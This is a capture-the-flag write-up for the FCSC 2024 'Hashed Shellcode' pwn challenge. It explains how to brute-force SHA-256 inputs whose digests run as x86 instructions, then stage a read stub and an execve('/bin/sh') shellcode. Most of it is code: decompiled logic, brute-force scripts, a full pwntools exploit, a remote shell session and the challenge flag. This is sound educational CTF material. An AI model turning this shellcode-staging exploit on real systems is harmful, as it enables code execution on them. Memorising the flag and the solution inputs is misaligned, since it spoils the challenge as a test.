FCSC 2024 - Hashed Shellcode - Pwn

11 minute read

This is the write-up of Hashed Shellcode challenge which was in the Pwn category for the FCSC 2024. It is a shellcode challenge based on hashes of inputs.

Description

Did you like FCSC 2021’s Encrypted Shellcode? Guess what? Here’s the hashed version!

Resolution

Here is the code of the binary :

  v7 = __readfsqword(0x28u);
  if ( mprotect((void *)((unsigned __int64)input_conv_shellcode & 0xFFFFFFFFFFFFF000LL), 0x1000uLL, 7) )
  {
    perror("mprotect");
    exit(1);
  }
  chk = 0LL;
  do
  {
    while ( 1 )
    {
      puts("Input:");
      memset(input_conv_shellcode, 0, sizeof(input_conv_shellcode));
      size_read = read(0, input_conv_shellcode, 0x20uLL);
      if ( size_read <= 0 )
      {
        perror("read");
        exit(1);
      }
      if ( input_conv_shellcode[size_read - 1] == '\n' )
        input_conv_shellcode[--size_read] = 0;
      chk += size_read;
      chk -= input_conv_shellcode[0] == 'F';
      chk -= input_conv_shellcode[1] == 'C';
      chk -= input_conv_shellcode[2] == 'S';
      chk -= input_conv_shellcode[3] == 'C';
      j = 5;
      chk -= input_conv_shellcode[4] == '_';
      while ( size_read > j )
      {
        if ( strchr(
               "0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}",
               input_conv_shellcode[j]) )
        {
          --chk;
        }
        ++j;
      }
      if ( chk <= 0 ) // [1]
        break;
      printf("Invalid input, retry! %ld\n", chk);
      chk = 0LL;
    }
    SHA256_Init(hash);
    SHA256_Update(hash, input_conv_shellcode, size_read);
    SHA256_Final(input_conv_shellcode, hash);
    (*(void (**)(void))input_conv_shellcode)();
  }
  while ( chk ); // [2]
  return 0LL;                                   // ---
                                                // chk just after shellcode in the BSS
}

The binary reads 32 bytes from stdin and does some checks on it, it checks if it starts with FCSC_, and contains only some alphanumerical characters. The program used a global varibale (chk), to confirm the validity of the input. Then he makes a sha256sum of it and jumps on the result, as a shellcode.

So the shellcode which is executed is sha256sum of our input, seems funny.

There is no bypass of condition but we could notice three things after reversing it :

  • [1] the comparaison of chk is signed so if chk is less than 0, the input will be considered as valid
  • [2] the code loop while chk is not 0
  • [3] the chk variable is located right after our shellcode in the BSS section

Debugging the context

On a shellcode challenge, it’s useful to know the context of when the shellcode is executed. By context, I mean registers values and memory. We use gdb and a breakpoint to see it. I used decomp2dbg plugin with stripped binary to save time having symbols in gdb.

There are a few things interesting, the register RSI points on the chk variable, which is the check variable for the loop. RDX points to our shellcode.

Start to create hashes

When I started the challenge, I tried to bruteforce like a monkey random valid inputs, create hash from them and disassemble them with captstone library. I put some constraints on the disassemble output to have like syscall, no instructions which are going to make my shellcode crash, etc…

Because It wasn’t very successful, I started to create more clever scripts using the context registers. For example, I tried to find a hash input to have a push r13; ret to ret2main.

from capstone import *
import hashlib
import random

cs = Cs(CS_ARCH_X86, CS_MODE_64)
random.seed(0x0409)

BANNED_INSTRUCTIONS = {'leave', 'retf', 'iretd','int3','pop'}

def generate_random_input():
    charset = "0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}"
    input_str = "FCSC_"
    input_str += ''.join(random.choice(charset) for _ in range(5, MAX_INPUT_LENGTH))
    return input_str

def calculate_sha256(data):
    return hashlib.sha256(data.encode()).digest()

def contains_register(ins_str, registers):
    for reg in registers:
        if reg in ins_str:
            return True
    return False

def disassemble_code(code):
    disas = cs.disasm(code, 0)
    ret_found = False
    r13_chk = False
    o_chk = False
    disassembly_output = ""

    for ins in disas:
        if ins.mnemonic in BANNED_INSTRUCTIONS:
            return False,False
        disassembly_output += "0x%x:\t%s\t%s\n" % (ins.address, ins.mnemonic, ins.op_str)
        
        if ins.mnemonic == 'push' and ("r13" in ins.op_str):
            r13_chk = True
        elif ins.mnemonic == 'ret' and ins.op_str == "":
            ret_found = True
            break

    code_valid = ret_found and r13_chk
    return code_valid, disassembly_output

def main():
    num_valid_hashes = 0
    while num_valid_hashes < NUM_INPUTS:
        input_str = generate_random_input()
        hash_value = calculate_sha256(input_str)
        code_valid, disassembly_output = disassemble_code(hash_value)
        if code_valid:
            print(f"Input: {input_str}")
            print(f"Hash SHA256: {hash_value.hex()}")
            print("Disassembled Output:")
            print(disassembly_output)
            num_valid_hashes += 1

if __name__ == "__main__":
    MAX_INPUT_LENGTH = 20
    NUM_INPUTS = 10
    main()

I managed to get one but it wasn’t very usefull because I will need to have push r13 ; ret in every input hash.

I didn’t say it before, but it would be near impossible to have a valid hash that executes all we want, like a read() to put a free shellcode on the memory.

So the first goal is to make program loop with changing chk variable to execute multiples different shellcodes.

We have a pointer on it, which is rsi, so we could bruteforce the input hash which gives opcodes who change ptr [rsi] and ret. The goal is to have a chk variable negative to loop every time and could execute instructions, ret, send a new input, execute instructions, ret, …

So here is a snippet of my code to look for qtr rsi set to a negative value :

def disassemble_code(code):
    disas = cs.disasm(code, 0)
    syscall_found = False
    rsi_chk = False
    unvalid_mv = ["jmp","call","cmpsq","push","cmp","test"]
    disassembly_output = ""

    for ins in disas:
        if ins.mnemonic in BANNED_INSTRUCTIONS:
            return False,False

        disassembly_output += "0x%x:\t%s\t%s\n" % (ins.address, ins.mnemonic, ins.op_str)
        
        if ins.mnemonic == 'sub' and "qword ptr [rsi]" in ins.op_str.split(', ')[0] and valid_mnemonic(ins.mnemonic,unvalid_mv) and ins.mnemonic[0] != "f":
            rsi_chk = True
        elif ins.mnemonic == 'ret' and ins.op_str == "":
            syscall_found = True
            break

    code_valid = syscall_found and rsi_chk
    return code_valid, disassembly_output

I managed to find this instruction :

Input: FCSC_81oA7cXbQ}\tS_X
Hash SHA256: 0c294f4e2936f8010ec32efbdc815dbcff6c705d8d570411e7560e50a9635fa2
Disassembled Output:
0x0:    or      al, 0x29
0x2:    sub     qword ptr [rsi], r14
0x6:    clc
0x7:    add     dword ptr [rsi], ecx
0x9:    ret

It allows to set chk to a negative value and loop again and again. It allows us to now search input without the constraints of the binary because the chk will always be negative.

Now we need to find a way to put a shellcode and execute it. We are going to search for short instructions to have more chance to find some. We could use jmp instructions which will do a relative jump to jump on our shellcode when the memory will be setup.

I decided to use instructions inc byte ptr [rsi + 0xXX] ; ret to write my shellcode. I need to find hash result which gives these two instructions with rsi add value next to each other.

So I take my dirty scripts to search for them, run it multiple times and start to make a list.

I had many instructions like this :

Input:  b'<\x9fj[\xf1Sg\xb85\xca\x95\xe3\xed\xec\xca\x82"\xe1\x07<'
Hash SHA256: fe460cc3f28920f29f79a6b3c402608c0a0ff22726a2add83bd0760069ae3344
Disassembled Output:
0x0:    inc     byte ptr [rsi + 0xc]
0x3:    ret


Input:  b'\xc9\x9d\x0f\xfd\xd0\x970\xc6\xfc\x16\xbb\xcd\x84H<\xbc\xff\xe6\xd8>'
Hash SHA256: 333ffe460f9fc3847614606895328180262b19103902c3bb1f455ce9802ebc0d
Disassembled Output:
0x0:    xor     edi, dword ptr [rdi]
0x2:    inc     byte ptr [rsi + 0xf]
0x5:    lahf
0x6:    ret

Input:  b'*R\xd7"\x15=\x1c\xc2\xe3%\xce\xcd\xe1\xb9b.X%nJ'
Hash SHA256: fe4626c3b99e3ab9957454ef867a7cd9e264c02db6061798a05268154fe7c104
Disassembled Output:
0x0:    inc     byte ptr [rsi + 0x26]
0x3:    ret

So I made a dictionnary in python with all of them :

dic = {
    0xa : b'\x15w\xd2)\x7fk;\xb1\xba\x08\x1cj\x91\xebh\xbeT~\xedC',
    0xc: b'<\x9fj[\xf1Sg\xb85\xca\x95\xe3\xed\xec\xca\x82"\xe1\x07<',
    0xf: b'\xc9\x9d\x0f\xfd\xd0\x970\xc6\xfc\x16\xbb\xcd\x84H<\xbc\xff\xe6\xd8>',
    0x14 : b'\xb9X\xf0\xd8\x06C7\x11\xb8\xa52vSea!\xd1o\x9cH',
    0x15: b"\xb6[\xa8q\xdf\xc1\xd5\xaf\xbal\xf4H\x98t\xb8\xb4\xdf@\xe6\xfa",
    0x17 : b"\x86<\x1f\x8ab\xd5v\x89\xf1bFU\xe9\x7f\xaacLl4\xf6",
    0x18 : b':>"\x19\x80B \xde\x8b\xa1\x13\xc7B\xa0mi\x08t\x1e\xe0',
    0x1a: b"9\x84\x0b\t\xa96\xdd'\xd1X\xad\xaf\xac\x96V\xd1t\xe6\xf9\xca",
    0x1c: b'\x0c\xc0\x9f:\\\x1f\xc4\xe4\xdc\x01\x08\xc3\xf6\x8dJY\xb9\x97\x90\xaf',
    0x1d: b'\xd3\x18a\x18\x93\x9a`\xad&\xc7w\np\xf3\xc8\xdf`\xb3\x1eD',
    0x1f: b'\x13\xd1\xaax\x95\x89\x83\xb5*\xbb\x9a\x85a\xf9\xd2RW"g3',
    0x20: b')3\xec\xbbt|\x98\xba|\x8d\xa3\x1f\xd9\xef]s#v\xf5\xbc',
    0x21: b"[\xc4b\xa5>\xae\x92=\xf0'\xb1|\xbc.<#\x14\x9f\xb6\x11",
    0x23: b'?A[\x96 \x84\xe8r\x0c\x9a\xc2*%\xfb\xd6\xe0\xfa\xeb\x96"',
    0x26: b'*R\xd7"\x15=\x1c\xc2\xe3%\xce\xcd\xe1\xb9b.X%nJ',
    0x27: b'\xc8\xbe\x84\xd6\x93\x14\xbd\xd18-b\xdf\x1d\x07\xdaC\xf3,s\x99',
    0x28: b'w\x91aN\xf7B\xa0:\n\xe8\xfc\xfcS\x8f6(\x07{O\xfd',
    0x29: b'\xae\xbd\x89\xa7n\xb0\xf4\x1d\xa5\xbc\x1c}\xdfB8\\v\xcb\xdc\xef',
    0x2a : b'\xc5\xad@iv\xc6U\xe1\x95\x8e\xddz\x9b\xdc\xe5\x19`\xaf${',
    0x2b: b'\xb4\xde\xba66\xe3q\x82S\x98\x18\xa5\xa3M\x9e\x0c\xba\xaf\x10\xd9',
    0x2c: b'\xd3\xf8\x1e\xcc\x1d\x50\xc6\x93\x1b\xc0\xb0\xd1\xd2\xef\xb8\xfb\xe4\xf9\x05\x07\x25\x58\x2c\x52\x9a\xfe\x56\xa5\x06'
    0x2d: b'\xaf\xa4\x2d\xc3\xf6\x7e\x82\xd6\xfd\xae\x58\xa6\x20\x8f\x45\x9f\xf9\xac\xe4\xb5\x26\xa1\x75\x26\x34\x3c\xe3\x93\x44'
    0x2e : b'\xa4\xd7\x21\x2f\xa2\xa9\x64\x86\xa3',
    0x2f: b'\x043\xd7H\x141\xdf\xf0n\xe1q\xe4\xe58\xcd\x1c>\xe9\x08\xf8'
}

For each line, we have the input, which increment rsi+key of one.

Now we have all we need to set up the shellcode we want and jump on it:

# [...]
shellcode = """
xor edi, edi
mov edx, 0x500
syscall
ret
"""

shellcode_bytes = asm(shellcode)
print("Len shellcode",len(shellcode_bytes))
sla(b"Input:\n",reset_buf)

base = 0x26
n = 0
for i in shellcode_bytes:
    if i!=b"\x00":
        for j in range(int(i)):
            sla(b"Input:\n",dic[base+n] )
            sla(b"Input:\n",reset_buf_sub)
    n+=1

jmp = b"\x36\x02\x81\x99\x25\x07\xbb\x16\xc1\x7f\x27\x09\xd5\x80\x01\x37\xc7\x2a\x56\xaa\x79\x3e\xd7\x15\xcd\xae\x89\x6d\xc9"

sla(b"Input:\n",jmp)

So we generate our shellcode with pwntools, and for each shellcode byte, we will increment the value as much as the shellcode byte value.

The shellcode is xoring rsi to have FD = 0, set edx at a coherent value for the read syscall and rax is already at 0 so no problem.

We bruteforce with a C program the jmp instruction hash and send it to jump on our shellcode.

Next, we send to the read call our shellcode execve("/bin/sh",0,0) :

shellcode_sh = asm(shellcraft.sh())
last_shellcode = b"\x90"*100 + shellcode_sh + b"\xcc"
sl(last_shellcode)

io.interactive()

We get a local shell, local.

Because yes, when I send the exploit in remote It crashes instantly. I was wondering why but looks weird.

Then I executed my exploit on another machine, which is a Debian, and it crashes. Load the exploit in gdb and crash at the first shellcode.

RSI equals 0, it wasn’t the case on the machine I debug and developed the exploit, there is a difference.

I quickly managed to view the problem. The calls of the sha256 library (libcrypto.so.3) setup rsi to chk address (after the hash result) in ubuntu 22, but not in Debian, in Debian, those registers are set to 0, so my exploit can’t work, and all my constraints and inputs found where based on rsi :-).

The library codes are different, but they were not given, and we had no information about the remote machine so it was impossible to guess this behaviour. Later on the competition, the admins decided to release information about the challenge which is :

the Docker base image on the remote service is debian:bookworm-slim.

It was a small mistake, but no problem. The idea of the exploit is there, and it’s an opportunity to optimize the resolution because my dirty python script is very slow.

Remote exploit

I get the Debian library and patch my local binary. Let’s view the register context again :

No more rsi on the chk variable, we know it, we are going to find instructions with rsi only because his value is the nearest of the chk variable with is 0x20 bytes after it.

To set chk to a negative value, we could use the dec instruction which on chk variable last bit (which equals 0), is going to be 0xff, and with it, chk become negative and we could loop to the program.

Here is the C script :

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <openssl/sha.h>
#include <time.h>

#define MAX_INPUT_LENGTH 32

void calculate_sha256(const unsigned char *data, size_t data_len, unsigned char *hash) {
    SHA256_CTX sha256_ctx;
    SHA256_Init(&sha256_ctx);
    SHA256_Update(&sha256_ctx, data, data_len);
    SHA256_Final(hash, &sha256_ctx);
}

void generate_random_input(char *input) {
    const char charset[] = "0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}";
    const size_t charset_size = strlen(charset);
    strcpy(input, "FCSC_");

    

    for (int i = 5; i < MAX_INPUT_LENGTH; i++) {
        input[i] = charset[rand() % charset_size];
    }
    input[MAX_INPUT_LENGTH - 1] = '\0';
}

int main() {
    //srand(time(NULL));
    //srand(1234);
    char input[MAX_INPUT_LENGTH];
    unsigned char hash[SHA256_DIGEST_LENGTH];

    int chk = 1;

    while (1) {
        generate_random_input(input);
        calculate_sha256((unsigned char *)input, strlen(input), hash);
        chk = memcmp(hash, "\xfe\x4a\x27\xc3", 4); // dec byte ptr [rdx+0x27] ; ret

        if (!chk) {
            printf("Input: %s\n", input);
            printf("Hash SHA256 : ");
            for (int i = 0; i < SHA256_DIGEST_LENGTH; i++) {
                printf("%02x", hash[i]);
            }
            printf("OK\n");
            break;
        } else {
            //printf("ERROR\n");
        }
    }

    return 0;
}

We generate valid hashes which need to start by “\xfe\x4a\x27\xc3” opcodes, which are dec byte ptr [rdx+0x27] ; ret instruction.

We find a valid input in about ~5 to 10 minutes. My Python scripts were based on the fact that the opcodes we search are going to be somewhere in the hash and instructions before do not impact them or crash. In this case we bruteforce directly the first bytes of the hash and it’s in C, we have fewer chances to have good opcodes at the start but it’s way faster, so it works better.

4 hash start bytes could be brute force in few minutes, but more than 4 bytes could take much more time, that’s why we used dec/inc instructions because in our case they take 3 bytes and 1 more with the ret instruction. I missed this fact, I should have did more test with C bruteforce at the start.

reset_buf = b"FCSC_D8OHvw[`I`H1g4f?p@c1Hkj{;L"  # dec byte ptr [rdx+0x27] ; ret

We have the input to loop. Now, like we did before, but with rdx, we are going to search for hash to inc byte [rdx + 0xXX].

int main() {
    srand(time(NULL));
    char input[MAX_INPUT_LENGTH];
    unsigned char hash[SHA256_DIGEST_LENGTH];

    unsigned char desired_sequences[][4] = {
        "\xfe\x42\x50\xc3",
        "\xfe\x42\x51\xc3",
        "\xfe\x42\x52\xc3",
        "\xfe\x42\x53\xc3",
        "\xfe\x42\x54\xc3",
        "\xfe\x42\x55\xc3",
        "\xfe\x42\x56\xc3",
        "\xfe\x42\x57\xc3",
        "\xfe\x42\x58\xc3",
        "\xfe\x42\x59\xc3",
        "\xfe\x42\x5a\xc3",
        "\xfe\x42\x5b\xc3",
        "\xfe\x42\x5c\xc3",
        "\xfe\x42\x5d\xc3",
        "\xfe\x42\x5e\xc3",
        "\xfe\x42\x5f\xc3",
    };

    int num_sequences = sizeof(desired_sequences) / sizeof(desired_sequences[0]);
    int chk = 1; 

    while (1) {
        generate_random_input(input);
        calculate_sha256((unsigned char *)input, strlen(input), hash);

        for (int i = 0; i < num_sequences; i++) {
            chk = memcmp(hash, desired_sequences[i], 4);
            if (chk == 0) {
                printf("Input:\n");
                for (int j = 0; j < MAX_INPUT_LENGTH; j++) {
                    printf("\\x%02x", (unsigned char)input[j]);
                }
                puts("");
                printf("Hash SHA256 : ");
                for (int j = 0; j < SHA256_DIGEST_LENGTH; j++) {
                    printf("%02x", hash[j]);
                }
                printf(" matched desired sequence %d\n", i);
                //break; 
            }
        }
    }

    return 0;
}

We have the opcodes we searched for, and after a few minutes, we could forge our Python dictionary and craft the exploit:

dic = {
    0x50: b'\xc7\xe7\x66\x87\xbf\x44\xd1\xa5\xb0\xfb\x6d\x03\x05\x72\x37\xa6\x99\xf2\x73\x50\xda\xe5\xde\x18\xf6\x1e\xa5\x15\xa1',
    0x51: b'\xf7\x3c\x5a\x08\xf2\x68\x0f\x99\x2f\xcb\xbd\xb9\x43\x5f\x73\x4e\x2e\x2f\xfb\x5e\x4c\x89\x89\x39\xcf\x63\xc8\xd1\x84',
    0x52: b'\x10\xb4\x2c\xdb\xcd\x98\xa1\x7e\x2c\x1e\x0e\xf3\xd5\x1b\x31\x6d\x3c\xcb\x58\xfc\xcf\x68\xdc\x8c\xb6\xed\x12\xc1\x4d',
    0x53: b'\x73\xfc\x95\xb3\xa9\xef\x65\xa3\x45\x78\x71\xcc\xb3\x30\x7f\x67\xc1\x53\x88\x2d\x67\x9b\x04\xfc\x6b\x1e\x62\xab\x04',
    0x54: b'\x4a\x3d\x4d\x43\xd6\x0e\xbe\xbc\xa7\x97\xd3\xd0\x22\x33\x43\xf9\x11\x10\x3a\xfb\x57\x84\x80\x90\x17\xfb\xed\xb7\x53',
    0x55: b'\xd0\x7d\xfc\x44\x05\x74\x56\x27\x91\x98\x8c\xf8\x90\xe4\x12\x63\x71\x90\xf4\xf3\x05\xd6\xed\xc5\x3f\x2a\x53\x6e\x16',
    0x56: b'\x5f\xd4\x26\xb8\x44\xcf\x1b\x04\x94\xfe\xd9\x78\x3c\x5d\xe4\xa7\x4c\xc6\x06\xde\xa7\xf4\x13\x8c\x68\xed\x87\x7d\x7f',
    0x57: b'\xe2\x55\xdf\xde\xd7\x66\x91\x06\x73\x79\x03\x89\xb5\x4d\x25\x3b\xb2\xee\xe0\x3b\x64\x8e\x6d\x06\xb4\xed\x1c\xca\x48',
    0x58: b'\xe2\x55\x53\xe2\x7b\x47\x5d\x5c\x40\xb2\x79\x71\xb3\xd9\x63\x74\x44\xe7\x1b\xc5\xa9\x35\x40\xbf\x1a\xc8\x48\x61\x79',
    0x59: b'\x86\xfd\x8e\x28\x21\x7c\xa1\x9a\xe5\x2b\xfb\x8f\x84\x6c\x6b\x56\x16\x60\x49\xcb\xf5\x1f\x75\xb5\x2d\x04\xa8\xa6\x48',
    0x5b: b'\xf8\x93\x61\x26\xa2\x09\xf6\x64\xeb\xe0\xb0\x88\xb5\xad\xb0\xb3\x41\x11\xb6\x96\x0f\x19\xfb\x48\xd6\x55\xca\x7e\xc9',
    0x5c: b'\xea\x66\x77\xf1\x87\x44\x6c\x30\x06\x6c\x45\xf7\x1a\x93\x14\xd4\xae\x17\x18\xcf\x97\x81\x6b\x77\x93\x8b\x2d\x8d\x62',
    0x5d: b'\x89\x0f\x87\x2e\xaf\x3f\xbf\x8d\xdc\x94\x55\xbb\xf0\xa4\xdc\x39\x7b\x10\x44\x14\x2a\xad\xcc\x7b\x87\x51\x44\xa5\x3d',
    0x5e: b'\x8c\x44\xbf\x03\x72\x3d\xe0\x5f\xfe\x3e\xa5\x9c\x4e\x79\x17\x50\xdc\xa2\x86\x7a\xf0\x22\xb5\xa8\x9d\x89\x7b\x29\x19',
    0x5f: b'\x8d\x7e\xc4\x46\x79\x58\x86\x9c\x32\x08\x4a\xf3\x76\x8c\xa5\x63\xde\xc3\x52\xd8\x5d\x42\x8c\x4a\x83\x67\x9f\xdc\x18'
}

The shellcode change a little bit :

mov rsi, rdx
mov edx, 0x500
syscall

RSI was at 0 so we set it to rdx, and call read. We overwrite the memory section with the shellcode input and the return of the read call is on our shellcode (nop instructions).

Here is the final exploit :

#!/usr/bin/env python3
from pwn import *
import time

"""

"""

context.terminal = ["tmux", "new-window"]
#context.log_level = 'info'
exe = ELF("./hashed-shellcode")
#rop = ROP([bin,libc])

context.binary = exe
io = None

def sla(delim,line): return io.sendlineafter(delim,line)
def sl(line): return io.sendline(line)
def rcu(delim): return io.recvuntil(delim)
def rcv(number): return io.recv(number)
def rcvl(): return io.recvline()

def conn():
    global io
    if args.GDB:
        io = gdb.debug([exe.path], gdbscript='''
        #decompiler connect ida --host 127.0.0.1 --port 3662
        #si
        #b*0x00005555555551e9
        b*0x5555555554dd
        c
        ''')
    elif args.REMOTE:
        io = remote("challenges.france-cybersecurity-challenge.fr", 2107)
    else:
        io = process([exe.path])
    return io

conn()

dic = {
    0x50: b'\xc7\xe7\x66\x87\xbf\x44\xd1\xa5\xb0\xfb\x6d\x03\x05\x72\x37\xa6\x99\xf2\x73\x50\xda\xe5\xde\x18\xf6\x1e\xa5\x15\xa1',
    0x51: b'\xf7\x3c\x5a\x08\xf2\x68\x0f\x99\x2f\xcb\xbd\xb9\x43\x5f\x73\x4e\x2e\x2f\xfb\x5e\x4c\x89\x89\x39\xcf\x63\xc8\xd1\x84',
    0x52: b'\x10\xb4\x2c\xdb\xcd\x98\xa1\x7e\x2c\x1e\x0e\xf3\xd5\x1b\x31\x6d\x3c\xcb\x58\xfc\xcf\x68\xdc\x8c\xb6\xed\x12\xc1\x4d',
    0x53: b'\x73\xfc\x95\xb3\xa9\xef\x65\xa3\x45\x78\x71\xcc\xb3\x30\x7f\x67\xc1\x53\x88\x2d\x67\x9b\x04\xfc\x6b\x1e\x62\xab\x04',
    0x54: b'\x4a\x3d\x4d\x43\xd6\x0e\xbe\xbc\xa7\x97\xd3\xd0\x22\x33\x43\xf9\x11\x10\x3a\xfb\x57\x84\x80\x90\x17\xfb\xed\xb7\x53',
    0x55: b'\xd0\x7d\xfc\x44\x05\x74\x56\x27\x91\x98\x8c\xf8\x90\xe4\x12\x63\x71\x90\xf4\xf3\x05\xd6\xed\xc5\x3f\x2a\x53\x6e\x16',
    0x56: b'\x5f\xd4\x26\xb8\x44\xcf\x1b\x04\x94\xfe\xd9\x78\x3c\x5d\xe4\xa7\x4c\xc6\x06\xde\xa7\xf4\x13\x8c\x68\xed\x87\x7d\x7f',
    0x57: b'\xe2\x55\xdf\xde\xd7\x66\x91\x06\x73\x79\x03\x89\xb5\x4d\x25\x3b\xb2\xee\xe0\x3b\x64\x8e\x6d\x06\xb4\xed\x1c\xca\x48',
    0x58: b'\xe2\x55\x53\xe2\x7b\x47\x5d\x5c\x40\xb2\x79\x71\xb3\xd9\x63\x74\x44\xe7\x1b\xc5\xa9\x35\x40\xbf\x1a\xc8\x48\x61\x79',
    0x59: b'\x86\xfd\x8e\x28\x21\x7c\xa1\x9a\xe5\x2b\xfb\x8f\x84\x6c\x6b\x56\x16\x60\x49\xcb\xf5\x1f\x75\xb5\x2d\x04\xa8\xa6\x48',
    0x5b: b'\xf8\x93\x61\x26\xa2\x09\xf6\x64\xeb\xe0\xb0\x88\xb5\xad\xb0\xb3\x41\x11\xb6\x96\x0f\x19\xfb\x48\xd6\x55\xca\x7e\xc9',
    0x5c: b'\xea\x66\x77\xf1\x87\x44\x6c\x30\x06\x6c\x45\xf7\x1a\x93\x14\xd4\xae\x17\x18\xcf\x97\x81\x6b\x77\x93\x8b\x2d\x8d\x62',
    0x5d: b'\x89\x0f\x87\x2e\xaf\x3f\xbf\x8d\xdc\x94\x55\xbb\xf0\xa4\xdc\x39\x7b\x10\x44\x14\x2a\xad\xcc\x7b\x87\x51\x44\xa5\x3d',
    0x5e: b'\x8c\x44\xbf\x03\x72\x3d\xe0\x5f\xfe\x3e\xa5\x9c\x4e\x79\x17\x50\xdc\xa2\x86\x7a\xf0\x22\xb5\xa8\x9d\x89\x7b\x29\x19',
    0x5f: b'\x8d\x7e\xc4\x46\x79\x58\x86\x9c\x32\x08\x4a\xf3\x76\x8c\xa5\x63\xde\xc3\x52\xd8\x5d\x42\x8c\x4a\x83\x67\x9f\xdc\x18'
}

reset_buf = b"FCSC_D8OHvw[`I`H1g4f?p@c1Hkj{;L"  # dec byte ptr [rdx+0x27] ; ret
sla(b"Input:\n",reset_buf)

shellcode = """
mov rsi, rdx
mov edx, 0x500
syscall
"""

shellcode_bytes = asm(shellcode)

print("Len shellcode",len(shellcode_bytes))

# for i in range(len(shellcode_bytes)):
#     print(f"\\x{hex(shellcode_bytes[i])[2:].zfill(2)}",end="")
# print()

base = 0x50
n = 0
for i in shellcode_bytes:
    if i!=b"\x00":
        for j in range(int(i)):
            sla(b"Input:\n",dic[base+n] )
    #input()
    n+=1

jmp = b"\x6e\x90\xb1\xb9\x74\xd5\x64\xd9\x2e\xdb\x2f\x05\xa7\xdb\x89\x71\xbf\xa9\xf9\xfb\x87\x1d\x5a\x03\xc4\xd8\x29\x49\x12"

#input()
sla(b"Input:\n",jmp)

shellcode_sh = asm(shellcraft.sh())
last_shellcode = b"\x90"*100 + shellcode_sh + b"\xcc"

sl(last_shellcode)
io.interactive()

It takes a bit time in remote because we need to send many inputs but It works !

$ python3 solve.py REMOTE
[+] Opening connection to challenges.france-cybersecurity-challenge.fr on port 2107: Done
Len shellcode 10
[*] Switching to interactive mode
$ id
uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)
$ ls
flag.txt
hashed-shellcode
$ cat flag.txt
FCSC{bf7b5b359fd05f6f8c45095362f458be78769069c4707d4635239bf568771f63}
$

Flag : FCSC{bf7b5b359fd05f6f8c45095362f458be78769069c4707d4635239bf568771f63

Conclusion

It was a very cool challenge thanks to the author, the base idea is very original. A bit sad to have losen time with the library problem but on second thought it allows me to have a more cleaner solution.